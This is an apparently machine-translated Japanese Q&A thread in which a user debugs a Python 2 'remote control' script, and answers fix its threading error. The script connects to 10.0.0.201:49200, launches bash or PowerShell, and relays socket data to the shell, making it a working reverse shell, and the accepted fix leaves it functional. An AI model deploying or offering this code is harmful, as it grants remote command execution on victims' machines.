2017-06-04 3 views
0

私は短くネイティブな(pexpectのような外部の[非ネイティブ]モジュールは推奨しません)、クロスプラットフォームの、Python用の安全でないリモートコントロールアプリケーション(Windowsはpy2exeとexeファイルを使用してください)。私は、readline()のようなブロッキング呼び出しに対してstart_new_threadを使用しています。何らかの理由で、しかし、私は私の出力として醜さのこの文字列を取得する:あなたの助けのためのsubprocess Popen.stdin.writeによってAttributeErrorが発生する

#!/usr/bin/env python 
import socket 
import subprocess as sp 
from thread import start_new_thread 
from platform import system 

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect(('10.0.0.201', 49200)) 
shell = 'powershell.exe' if system() == 'Windows' else '/bin/bash' # is this right?  
pipe = sp.Popen(shell, shell=True, stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE) 
entered_command=False 
def send_stream(): # send what you get from command center 
     while True: 
       pipe.stdin.write(s.recv(4096)) 
def read_stream(): # send back what is returned from shell command 
     while True: 
       s.send(pipe.stdout.readline()) 
start_new_thread(send_stream,()) 
start_new_thread(read_stream,()) 

ありがとう:

Unhandled exception in thread started by <function read_stream at 0xb6918730>Unhandled exception in thread started by <function send_stream at 0xb69186f0> 
Traceback (most recent call last): 

Traceback (most recent call last): 
    File "main.py", line 17, in read_stream 
    s.send(pipe.stdout.readline()) 
AttributeError File "main.py", line 14, in send_stream 
    pipe.stdin.write(s.recv(4096)) 
AttributeError: 'NoneType' object has no attribute 'stdin' 
: 'NoneType' object has no attribute 'stdout' 

はここに私のプログラム(main.py)です。

+0

'pipe'は' NONE'することはできません。おそらく、あなたは簡単に[mcve]を作るためにソケットのものを取り除くことができます。 –

+0

はい、それは 'pipe'がNoneであることを示唆しています。作成された場所のテストを挿入します。そこに有効な場合は、スレッド関数にテストを挿入してください。 –

+0

エラーをスローするこの__exact__コードは確実ですか? 'subprocess.Popen'コンストラクタについては、何かが間違っているときに例外を発生させ、' None'を返さないことについては読んだことがあります。 – CristiFati

答えて

0

問題は、最後に達したために2つのstart_new_threadコールが終了したために終了しようとしていたことが原因でエラーが発生したことが判明しました。だから私は置き換え:

start_new_thread(send_stream,()) 
start_new_thread(read_stream,()) 

をして:

start_new_thread(send_stream,()) 
read_stream() 
関連する問題